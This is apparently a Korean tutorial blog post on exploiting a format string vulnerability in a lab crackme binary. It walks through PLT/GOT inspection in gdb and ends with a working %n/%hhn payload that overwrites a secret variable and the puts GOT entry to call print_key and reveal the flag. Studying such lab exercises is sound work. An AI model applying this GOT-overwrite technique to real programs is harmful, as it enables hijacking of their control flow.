Format String Vulnerability
by
tutorial
지금까지의 buffer overflow를 통한 공격과는 다르게 format string의 취약점을 공략합니다. 튜토리얼 문서 참고.
공격을 위해 PLT와 GOT를 이용합니다. 외부 함수가 호출될 때 우선 PLT를 참조하고, PLT에서 GOT를 참조하는데 이를 이용합니다.
공격 대상 프로그램 crackme0x00
- crackme0x00.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <err.h>
#include "flag.h"
unsigned int secret = 0xdeadbeef;
void handle_failure(char *buf) {
char msg[100];
snprintf(msg, sizeof(msg), "Invalid Password! %s\n", buf);
printf(msg);
}
int main(int argc, char *argv[])
{
setreuid(geteuid(), geteuid());
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
int tmp = secret;
char buf[100];
printf("IOLI Crackme Level 0x00\n");
printf("Password:");
fgets(buf, sizeof(buf), stdin);
if (!strcmp(buf, "250382\n")) {
printf("Password OK :)\n");
} else {
handle_failure(buf);
}
if (tmp != secret) {
puts("The secret is modified!\n");
}
return 0;
}
시작
gdb(pwndbg)를 켜고 secret을 바꿔봅니다. p &secret
으로 secret이라는 변수의 주소를 알아내고, x/x &secret
으로 해당 변수가 무슨 값을 가지는지 볼 수 있습니다.
pwndbg> p &secret
$1 = (unsigned int *) 0x804a050 <secret>
pwndbg> x/1x &secret
0x804a050 <secret>: 0xdeadbeef
set *&secret=0x10
으로, 0xdeadbeef를 0x00000010으로 바꿔봅니다.
PLT of puts?
PLT(Procedure Linkage Table)는 컴파일의 링킹 과정에서 외부 procedure 혹은 함수를 연결해주는 테이블이고, 이를 통해 다른 라이브러리에 정의된 함수를 사용할 수 있습니다.
gdb(pwndbg)를 켠 뒤, plt
를 치면 확인할 수 있습니다. 튜토리얼에서는 아래와 같이 뜹니다. 전부 외부 프로시저입니다. 아래에서 0x08048590
을 보면, puts를 호출할 때 plt를 참조하는 걸 볼 수 있습니다.
plt
입력 시pwndbg> plt 0x8048510: strcmp@plt 0x8048520: printf@plt 0x8048530: fgets@plt 0x8048540: fclose@plt 0x8048550: __stack_chk_fail@plt 0x8048560: geteuid@plt 0x8048570: err@plt 0x8048580: fread@plt 0x8048590: puts@plt 0x80485a0: setreuid@plt 0x80485b0: __libc_start_main@plt 0x80485c0: setvbuf@plt 0x80485d0: fopen@plt 0x80485e0: snprintf@plt 0x80485f0: fputs@plt
p puts
, vmmap puts
를 gdb에서 해봅니다.
보다 구체적으로는, 가령 external 함수인 puts
라는 함수가 0x8048590
에 있다면 x/5i 0x8048590
을 해봅니다. 아래와 같이 뜹니다.
x/5i 0x8048590
입력 시pwndbg> x/10i 0x8048590 0x8048590 <puts@plt>: jmp DWORD PTR ds:0x804a02c 0x8048596 <puts@plt+6>: push 0x40 0x804859b <puts@plt+11>: jmp 0x8048500 0x80485a0 <setreuid@plt>: jmp DWORD PTR ds:0x804a030 0x80485a6 <setreuid@plt+6>: push 0x48
첫째 줄의 jmp
명령어를 통해서 어디론가 가는 것을 볼 수 있습니다.
둘째 줄의 0x40 은 일종의 index? 뭐더라? //TODO
셋째 줄의 jmp 0x8048500
에서 x/10i 0x8048500
를 통해 어디로 뛰는지를 보면 아래처럼 나옵니다.
x/10i 0x8048500
입력 시pwndbg> x/10i 0x8048500 0x8048500: push DWORD PTR ds:0x804a004 0x8048506: jmp DWORD PTR ds:0x804a008 0x804850c: add BYTE PTR [eax],al 0x804850e: add BYTE PTR [eax],al 0x8048510 <strcmp@plt>: jmp DWORD PTR ds:0x804a00c 0x8048516 <strcmp@plt+6>: push 0x0 0x804851b <strcmp@plt+11>: jmp 0x8048500 0x8048520 <printf@plt>: jmp DWORD PTR ds:0x804a010 0x8048526 <printf@plt+6>: push 0x8 0x804852b <printf@plt+11>: jmp 0x8048500
이제 x/5i 0x8048590
를 입력했을 때 나온 주소인 jmp DWORD PTR ds:0x804a02c
를 살펴보기 위해 telescope 0x804a02c
를 입력합니다. pwndbg telescope 명령어란?
pwndbg> telescope 0x804a02c
00:0000│ 0x804a02c (_GLOBAL_OFFSET_TABLE_+44) —▸ 0xf7dd5ca0 (puts) ◂— push ebp
01:0004│ 0x804a030 (_GLOBAL_OFFSET_TABLE_+48) —▸ 0xf7e5eb60 (setreuid) ◂— push ebx
02:0008│ 0x804a034 (_GLOBAL_OFFSET_TABLE_+52) —▸ 0xf7d86e30 (__libc_start_main) ◂— call 0xf7ea52c9
03:000c│ 0x804a038 (_GLOBAL_OFFSET_TABLE_+56) —▸ 0xf7dd6410 (setvbuf) ◂— push ebp
04:0010│ 0x804a03c (_GLOBAL_OFFSET_TABLE_+60) —▸ 0x80485d6 (fopen@plt+6) ◂— push 0x60 /* 'h`' */
05:0014│ 0x804a040 (_GLOBAL_OFFSET_TABLE_+64) —▸ 0xf7dbf460 (snprintf) ◂— push ebx
06:0018│ 0x804a044 (_GLOBAL_OFFSET_TABLE_+68) —▸ 0x80485f6 (fputs@plt+6) ◂— push 0x70 /* 'hp' */
07:001c│ 0x804a048 (data_start) ◂— 0x0
그럼 여기 첫째 줄에 보이는 위치인 0xf7dd5ca0
에 puts 함수가 있는 것을 볼 수 있습니다. 그런데 0x804a02c
에 다른 함수를 overwrite 할 수 있습니다. puts 대신 print_key와 연결시키기 위해 set *0x804a02c=print_key
라고 입력합니다. 다시 telescope 0x804a02c
를 통해 이제 연결이 아래와 같이 바뀌었음을 볼 수 있습니다.
pwndbg> telescope 0x804a02c
00:0000│ 0x804a02c (_GLOBAL_OFFSET_TABLE_+44) —▸ 0x8048726 (print_key) ◂— push ebp
01:0004│ 0x804a030 (_GLOBAL_OFFSET_TABLE_+48) —▸ 0xf7e5eb60 (setreuid) ◂— push ebx
02:0008│ 0x804a034 (_GLOBAL_OFFSET_TABLE_+52) —▸ 0xf7d86e30 (__libc_start_main) ◂— call 0xf7ea52c9
03:000c│ 0x804a038 (_GLOBAL_OFFSET_TABLE_+56) —▸ 0xf7dd6410 (setvbuf) ◂— push ebp
04:0010│ 0x804a03c (_GLOBAL_OFFSET_TABLE_+60) —▸ 0x80485d6 (fopen@plt+6) ◂— push 0x60 /* 'h`' */
05:0014│ 0x804a040 (_GLOBAL_OFFSET_TABLE_+64) —▸ 0xf7dbf460 (snprintf) ◂— push ebx
06:0018│ 0x804a044 (_GLOBAL_OFFSET_TABLE_+68) —▸ 0x80485f6 (fputs@plt+6) ◂— push 0x70 /* 'hp' */
07:001c│ 0x804a048 (data_start) ◂— 0x0
GOT(Global Offset Table)
GOT를 보면 각 함수들의 주소가 들어있는데, 이 주소들을 통해 가령 puts
대신에 print_key
로 덮어쓴다든지 하는 행동이 가능하게 됩니다. pwndbg에서는 got
를 통해 아래와 같이 GOT를 볼 수 있습니다. (안 되게 막아놓은 경우도 있는 것 같습니다.)
0x804a02c
에 puts
가 있는데, 저 주소는 실제 puts의 주소를 값으로 가지고 있습니다.
위의 crackme0x00의 마지막 부분에서, puts
대신 print_key
함수를 호출하게 하면 성공입니다. 가령 print_key
의 주소가 0x08048726
라고 한다면, 이 값으로 덮어씁니다.
vulnerability of printf
실제 exploit의 코드는 아래와 같이 씁니다. 처음의 0x0804a050
는 secret을 덮어쓰기 위한 것인데, printf 함수에서 %n
을 사용하면 현재까지 출력한 바이트 수를 출력해주는데, 이를 메모리 값을 덮어쓰는 데에 이용합니다. 다만 이 32비트 머신 기준으로 %n
은 4바이트를 덮어써서, 만약 2바이트씩 덮어쓰고 싶으면 %hn
은 2바이트, %hhn
은 1바이트를 덮어씁니다.
PUTS_GOT = 0x0804a02c
payload = [
"AA",
p32(0x0804a050), # 15th
p32(PUTS_GOT+3), # 16th
p32(PUTS_GOT+2), # 17th
p32(PUTS_GOT+1), # 18th
p32(PUTS_GOT+0), # 19th
"%15$n", # overwrite N -> secret
"%" + str(0x100-0x28+0x08) + "c",
"%16$hhn",
"%" + str(0x100-0x08+0x04) + "c",
"%17$hhn",
"%" + str(0x87-0x04) + "c",
"%18$hhn",
"%" + str(0x100-0x87+0x26) + "c",
"%19$hhn",
]
PUTS_GOT + 3 부터 덮어쓰는 이유는 little endian이기 때문입니다. 위에서 "%" + str(0x100-0x28+0x08) + "c",
이 부분은 print_key
중 첫 08
을 덮어씁니다.
이제 프로세스에 payload를 보내고 하면 puts
대신 print_key
가 호출되므로 flag를 바로 얻을 수 있습니다.
Subscribe via RSS